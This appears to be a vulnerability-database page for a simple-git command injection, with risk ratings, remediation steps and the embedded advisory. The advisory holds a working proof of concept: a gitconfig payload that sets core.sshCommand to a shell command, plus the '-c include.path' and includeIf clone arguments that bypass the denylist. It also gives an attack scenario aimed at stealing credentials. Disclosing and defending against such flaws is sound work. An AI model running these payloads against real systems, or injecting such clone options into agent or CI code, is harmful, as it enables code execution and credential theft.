CVE-2026-102826: simple-git: command injection via git clone config bypass
GHSA-g4wm-2vf7-vfgrHIGHPoC AVAILABLECISA: ATTENDsimple-git, a very widely used npm wrapper around the git CLI, has an incomplete denylist that lets attacker-influenced clone arguments load a malicious gitconfig and run arbitrary commands on the host. The package is not AI-specific, but AI agent frameworks, code analyzers and CI tooling that auto-clone repositories commonly embed it, so the blast radius reaches AI build and agent pipelines. Exploitation likelihood is currently low to moderate: EPSS is 0.46% (top 62% percentile), the CVE is not in CISA KEV, and there is no public exploit or Nuclei template, although the advisory includes a working PoC. Exploitation also needs both control over clone arguments and a way to write a file the process can read, which is why the CVSS is 8.1 rather than 9.8. Upgrade to simple-git 4.0.0, which is the patched release, and audit any code path that passes user, repository or LLM-generated values into clone options.
What is the risk?
High severity (CVSS 8.1, AC:H) with a realistic path to critical impact where file-write and clone triggers are co-located, such as multi-tenant runners with a shared /tmp or agents that write scratch files per task. Exploitation requires attacker influence over customArgs plus a readable attacker-controlled file. The likelihood of mass exploitation is currently low: EPSS 0.46%, not in KEV, no public exploit or scanner template. Impact is full code execution in the context of the Node process, which in AI pipelines often holds API keys, cloud credentials and repository tokens. Exposure is highest in services that clone user-supplied repositories or let an LLM choose git options.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| simple-git | npm | <= 3.36.0 | 4.0.0 |
Do you use simple-git? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade simple-git to 4.0.0 or later in all direct and transitive dependencies (check lockfiles with npm ls simple-git). 2) Until patched, never pass untrusted or LLM-generated values into customArgs, and reject any -c, --config or --config-env options before they reach clone() or mirror(). 3) Do not allow callers to set HOME, XDG_CONFIG_HOME or other config-resolving environment variables through git.env(). 4) Run clone operations in isolated, ephemeral, least-privilege containers with no shared writable paths such as a common /tmp, and with minimal secrets in the environment. 5) Detect by hunting for git processes spawned with -c include.path or includeIf, unexpected core.sshCommand values, and child processes spawned by git (sh, curl, id) from Node services. 6) Review agent tool definitions so the model cannot freely choose git arguments.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-102826?
simple-git, a very widely used npm wrapper around the git CLI, has an incomplete denylist that lets attacker-influenced clone arguments load a malicious gitconfig and run arbitrary commands on the host. The package is not AI-specific, but AI agent frameworks, code analyzers and CI tooling that auto-clone repositories commonly embed it, so the blast radius reaches AI build and agent pipelines. Exploitation likelihood is currently low to moderate: EPSS is 0.46% (top 62% percentile), the CVE is not in CISA KEV, and there is no public exploit or Nuclei template, although the advisory includes a working PoC. Exploitation also needs both control over clone arguments and a way to write a file the process can read, which is why the CVSS is 8.1 rather than 9.8. Upgrade to simple-git 4.0.0, which is the patched release, and audit any code path that passes user, repository or LLM-generated values into clone options.
Is CVE-2026-102826 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-102826, increasing the risk of exploitation.
How to fix CVE-2026-102826?
1) Upgrade simple-git to 4.0.0 or later in all direct and transitive dependencies (check lockfiles with npm ls simple-git). 2) Until patched, never pass untrusted or LLM-generated values into customArgs, and reject any -c, --config or --config-env options before they reach clone() or mirror(). 3) Do not allow callers to set HOME, XDG_CONFIG_HOME or other config-resolving environment variables through git.env(). 4) Run clone operations in isolated, ephemeral, least-privilege containers with no shared writable paths such as a common /tmp, and with minimal secrets in the environment. 5) Detect by hunting for git processes spawned with -c include.path or includeIf, unexpected core.sshCommand values, and child processes spawned by git (sh, curl, id) from Node services. 6) Review agent tool definitions so the model cannot freely choose git arguments.
What systems are affected by CVE-2026-102826?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, CI/CD pipelines for ML, code analysis services, MLOps tooling, developer tooling and IDE extensions.
What is the CVSS score for CVE-2026-102826?
CVE-2026-102826 has a CVSS v3.1 base score of 8.1 (HIGH). The EPSS exploitation probability is 0.46%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001AI SoftwareAML.T0049Exploit Public-Facing ApplicationAML.T0050Command and Scripting InterpreterCompliance Controls Affected
What are the technical details?
Original Advisory
## Summary An OS command injection vulnerability in `git.clone()` allows any application that flows attacker-influenced data into `customArgs` to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any `include.path` entry in the `blockUnsafeOperationsPlugin` denylist. Passing `-c include.path=<file>` via customArgs loads any local file as a gitconfig. The loaded file can set `core.sshCommand` (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command. PR #1167 (merged to main 2026-05-10, not yet released to npm) adds `preventConfigBuilder('include.path', 'allowUnsafeInclude')` to the denylist. The generated regex `/\s*include.path/` closes the plain spelling but does not match the conditional form `includeIf.<cond>.path`. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle. This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). `include` and `includeIf` are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source. ## Details Two sinks share the same root cause: the denylist is incomplete. ### Sink A: published 3.36.0 has no `include.path` entry `packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts` in the v3.36.0 tag contains no entry for `include.path` or `includeIf.*.path`. The argv parser recognises `-c include.path=<file>` and `-c includeIf.<cond>.path=<file>` as config writes, but `detectVulnerableConfigWrites` iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds. ### Sink B: pending PR #1167 regex misses `includeIf` PR #1167 adds: ```ts const preventUnsafeConfig = [ // ... preventConfigBuilder('include.path', 'allowUnsafeInclude'), // ... ]; ``` `preventConfigBuilder` constructs a non-anchored regex from the string: ```ts function preventConfigBuilder(config, category, message) { const regex = typeof config === 'string' ? new RegExp(`\\s*${config.toLowerCase()}`) : config; return function preventCommand(key) { if (regex.test(key)) { /* throw */ } }; } ``` For `'include.path'`, the generated regex is `/\s*include.path/`. The `.` between `include` and `path` is a regex wildcard. The engine matches `include` plus exactly one arbitrary character plus `path`. Conditional include keys have the form `includeIf.<condition>.path` (`includeIf.gitdir:.path`, `includeIf.onbranch:main.path`, `includeIf.hasconfig:r.u:**.path`, etc.). The substring between `include` and `path` is `if.<condition>:`, always longer than one character. The 11-character match window cannot align and the test returns false. ```js /\s*include.path/.test('include.path') // true /\s*include.path/.test('includeif.gitdir:.path') // false /\s*include.path/.test('includeif.onbranch:main.path') // false ``` The argv parser at `packages/argv-parser/src/argv/analyse-config.ts` correctly recognises both `include.path=...` and `includeIf.gitdir:.path=...` as config writes; both yield a `ConfigWrite` with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167). ### Exploitation chain 1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared `/tmp` in multi-tenant runners, log poisoning that lands `[core]` headers in a log path, predictable artifact paths, container volume mounts the attacker controls. ``` [core] sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'" ``` 2. Attacker triggers `git.clone()` with crafted `customArgs`. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of `blockUnsafeOperationsPlugin`. 3. `cloneTask` assembles `['clone', '-c', '<payload>', pathspec(url), pathspec(dst)]`. 4. `blockUnsafeOperationsPlugin` runs `parseArgv` and `collectWriteFlags`, yielding the write. `detectVulnerableConfigWrites` iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match `includeif.gitdir:.path`. Either way, no vulnerability is yielded and the plugin permits the operation. 5. `suffixPathsPlugin` moves pathspec items to the suffix. Final argv: `git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst`. 6. `git clone` has its own `-c` / `--config` option (`-c <key>=<value>, --config <key>=<value>` per `git clone --help`), so a `-c` immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty `gitdir:` pattern that matches the current gitdir), reads `/tmp/attacker.cfg`, registers `core.sshCommand`. 7. Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context. `git clone` is the unique git subcommand that honours `-c` after itself. `git fetch -c k=v`, `git pull -c k=v`, `git push -c k=v` all reject the placement (those subcommands treat `-c` as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled `-c` in `customArgs` always lands after the subcommand. Clone is the entry point for both sinks. ### Secondary chain: `HOME` and `XDG_CONFIG_HOME` not in `parseEnv` denylist `packages/argv-parser/src/env/parse-env.ts:5-25` lists env keys removed from the spawned-process environment when sourced from `git.env(...)`. `HOME`, `XDG_CONFIG_HOME`, and similar config-resolution keys are absent. Calling `git.env({HOME: '/tmp/fake-home'})` makes git read `/tmp/fake-home/.gitconfig`, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix. ## PoC Reproduction from a clean install: ```bash mkdir /tmp/sg-poc && cd /tmp/sg-poc npm init -y npm install simple-git@3.36.0 cat > poc.js <<'EOF' const { simpleGit } = require('simple-git'); const fs = require('fs'); fs.writeFileSync('/tmp/sg-attacker.cfg', `[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`); const git = simpleGit({ baseDir: '/tmp' }); (async () => { // Sink A: plain include.path works on published 3.36.0 (no denylist entry). // Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167. const payload = 'include.path=/tmp/sg-attacker.cfg'; try { await git.clone( 'ssh://nonexistent.example.com/repo.git', '/tmp/sg-rce-dst', ['-c', payload] ); } catch (_) { /* clone fails after sshCommand has already run */ } await new Promise(r => setTimeout(r, 500)); console.log(fs.readFileSync('/tmp/sg-id', 'utf8')); })(); EOF node poc.js ``` Output on simple-git 3.36.0: ``` uid=0(root) gid=0(root) groups=0(root) ``` Swapping the payload to `'includeIf.gitdir:.path=/tmp/sg-attacker.cfg'` reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release. ## Impact Pre-authentication remote code execution in any server that flows attacker-influenced data into `customArgs` of `clone()` or `mirror()`. simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns: - CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers - PaaS and hosting platforms that accept customer-tunable git options - Code analyzers and security scanners that clone user-supplied repos - Bot frameworks (Probot, GitOps controllers) that wrap simple-git - AI agent frameworks that auto-clone repositories for analysis - VS Code extensions, Electron tools, and dev tooling that pass options through The chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared `/tmp`, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical`. The form value uses the conservative `AC:H = 8.1` baseline that accounts for the separate-request case. ## Distinction from prior advisories and pending fix Reviewed the published GHSA list at `steveukx/git-js/security/advisories`. Two advisories are published: - GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor - GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive `protocol.allow` form Neither mentions `include`, `includeIf`, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference `include.path`. It addresses the plain form but its regex misses the conditional `includeIf.<cond>.path` spelling. The published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release. ## Suggested fix In `packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts`, add the plain `include.path` entry and ensure conditional forms are covered: ```ts preventConfigBuilder('include.path', 'allowUnsafeInclude'), preventConfigBuilder(/^\s*includeif[^.]*(\..+)*\.path/i, 'allowUnsafeInclude', 'include.path'), ``` Alternatively pre-process the key in `parseAssignment` to strip the `if.<condition>:` decoration before testing against `include.path`, since `includeIf` is semantically equivalent to `include` for security purposes. Stronger, longer-term fix: invert the model. Reject any `-c`, `--config`, `--config-env` in `customArgs` unconditionally and require callers to use the typed `config:` option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely. Also extend `parseEnv` to drop `HOME`, `XDG_CONFIG_HOME`, and any env key that affects config-file resolution.
Exploitation Scenario
An attacker targets an AI code-review service that clones repositories submitted by customers. They upload a file to the platform, such as an attachment or artifact, containing a gitconfig that sets core.sshCommand to a shell payload, and note its predictable path. They then submit a clone request, or steer an agent into one, with the option -c include.path=/path/to/file (or the includeIf variant). The denylist does not catch it, git loads the malicious config, and the first SSH operation runs the payload as the service account. The attacker then harvests LLM API keys, cloud credentials and customer source code from the host.
Weaknesses (CWE)
CWE-77Improper Neutralization of Special Elements used in a Command ('Command Injection')PrimaryCWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')PrimaryCWE-77 — Improper Neutralization of Special Elements used in a Command ('Command Injection'): The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Implementation] If possible, ensure that all external commands called from the program are statically created.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
- github.com/advisories/GHSA-g4wm-2vf7-vfgr
- github.com/steveukx/git-js/commit/98864c678444d9336357c844efa4fd5a7984c0d7
- github.com/steveukx/git-js/pull/1193
- github.com/steveukx/git-js/releases/tag/simple-git@4.0.0
- github.com/steveukx/git-js/security/advisories/GHSA-g4wm-2vf7-vfgr
- nvd.nist.gov/vuln/detail/CVE-2026-102826
Timeline
Related Vulnerabilities
CVE-2025-5952810.0Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Supply ChainCVE-2024-291210.0BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Supply ChainCVE-2023-376510.0MLflow: path traversal allows arbitrary file read
Same attack type: Supply ChainCVE-2025-512010.0smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Supply ChainCVE-2026-2185810.0n8n: Input Validation flaw enables exploitation
Same attack type: Code Execution